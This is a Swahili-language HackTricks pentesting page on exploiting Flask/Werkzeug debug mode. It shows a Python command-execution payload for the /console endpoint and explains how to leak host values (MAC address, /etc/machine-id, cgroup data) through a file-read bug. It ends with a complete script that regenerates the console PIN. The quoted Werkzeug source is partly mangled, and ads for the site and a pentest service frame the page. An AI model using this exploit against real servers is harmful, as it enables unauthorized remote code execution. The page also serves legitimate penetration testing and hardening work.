9.2 KiB
Werkzeug / Flask Debug
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud repos za github.
![](/.gitbook/assets/image%20%282%29.png)
Usanidi uliopo mara moja kwa tathmini ya udhaifu na upimaji wa kuingilia. Tekeleza pentest kamili kutoka mahali popote na zana na huduma 20+ ambazo zinaanza kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapima pentest - tunatengeneza zana za desturi, moduli za ugunduzi na uvamizi ili kuwapa muda wa kuchimba kwa kina, kufungua kabati, na kufurahi.
{% embed url="https://pentest-tools.com/" %}
Console RCE
Ikiwa debug ni hoja unaweza kujaribu kupata ufikiaji wa /console
na kupata RCE.
__import__('os').popen('whoami').read();
Pia kuna mianya kadhaa kwenye mtandao kama hii au moja kwenye metasploit.
Pin Iliyolindwa - Uvamizi wa Njia
Katika baadhi ya matukio, kipengele cha /console
kitakuwa kilindwa na pin. Ikiwa una mdudu wa uvujaji wa faili, unaweza kuvuja habari zote muhimu ili kuzalisha pin hiyo.
Uvamizi wa PIN ya Werkzeug Console
Lazimisha ukurasa wa kosa la debug katika programu ili kuona hii:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Ujumbe kuhusu hali ya "console imefungwa" unakutwa wakati wa kujaribu kupata interface ya kurekebisha ya Werkzeug, ikionyesha hitaji la PIN ili kufungua console. Mapendekezo yanafanywa kwa kudukua PIN ya console kwa kuchambua algorithm ya kuzalisha PIN katika faili ya kuanzisha ya debug ya Werkzeug (__init__.py
). Mfumo wa kuzalisha PIN unaweza kusomwa kutoka Hifadhi ya nambari ya chanzo ya Werkzeug, ingawa inashauriwa kupata nambari halisi ya seva kupitia udhaifu wa kusafiri kwa faili kutokana na tofauti za toleo.
Kudukua PIN ya console, seti mbili za variables, probably_public_bits
na private_bits
, zinahitajika:
probably_public_bits
username
: Inahusu mtumiaji aliyeanzisha kikao cha Flask.modname
: Kawaida inaonyeshwa kamaflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Kwa kawaida inaelekeza kwa Flask.getattr(mod, '__file__', None)
: Inawakilisha njia kamili yaapp.py
ndani ya saraka ya Flask (kwa mfano,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Ikiwaapp.py
haiwezekani, jaribuapp.pyc
.
private_bits
uuid.getnode()
: Inapata anwani ya MAC ya kompyuta ya sasa, nastr(uuid.getnode())
inaibadilisha kuwa muundo wa namba.- Ili kutambua anwani ya MAC ya seva, lazima mtu aitambue kiolesura cha mtandao kinachotumiwa na programu (kwa mfano,
ens3
). Katika hali ya kutokuwa na uhakika, vuja/proc/net/arp
ili kupata kitambulisho cha kifaa, kisha chukua anwani ya MAC kutoka/sys/class/net/<kitambulisho cha kifaa>/address
. - Ubadilishaji wa anwani ya MAC ya hexadecimali kuwa muundo wa namba unaweza kufanywa kama inavyoonyeshwa hapa chini:
# Mfano wa anwani ya MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Inaunganisha data kutoka/etc/machine-id
au/proc/sys/kernel/random/boot_id
na mstari wa kwanza wa/proc/self/cgroup
baada ya mstari wa mwisho (/
).
Kificho cha `get_machine_id()`
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
</details>
Baada ya kukusanya data zote muhimu, script ya kudukua inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug:
Baada ya kukusanya data zote muhimu, script ya kudukua inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug. Script inatumia `probably_public_bits` na `private_bits` zilizokusanywa kuunda hash, ambayo kisha inapitia mchakato zaidi ili kuzalisha PIN ya mwisho. Hapa chini ni nambari ya Python ya kutekeleza mchakato huu:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Hii skripti inazalisha PIN kwa kuhesabu hash ya bits zilizounganishwa, kuongeza chumvi maalum (cookiesalt
na pinsalt
), na kuandaa matokeo. Ni muhimu kuzingatia kuwa thamani halisi za probably_public_bits
na private_bits
zinahitaji kupatikana kwa usahihi kutoka kwenye mfumo wa lengo ili kuhakikisha PIN iliyozalishwa inalingana na ile inayotarajiwa na konsoli ya Werkzeug.
{% hint style="success" %} Ikiwa una toleo la zamani la Werkzeug, jaribu kubadilisha algorithm ya hashing kuwa md5 badala ya sha1. {% endhint %}
Marejeo
![](/.gitbook/assets/image%20%282%29.png)
Usanidi uliopo mara moja kwa tathmini ya udhaifu na upimaji wa uingiliaji. Tekeleza pentest kamili kutoka mahali popote na zana na huduma 20+ ambazo zinaanza kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapima pentest - tunatengeneza zana za desturi, moduli za ugunduzi na uchunguzi ili kuwapa muda wa kuchimba kwa kina, kuvunja maboya, na kufurahi.
{% embed url="https://pentest-tools.com/" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.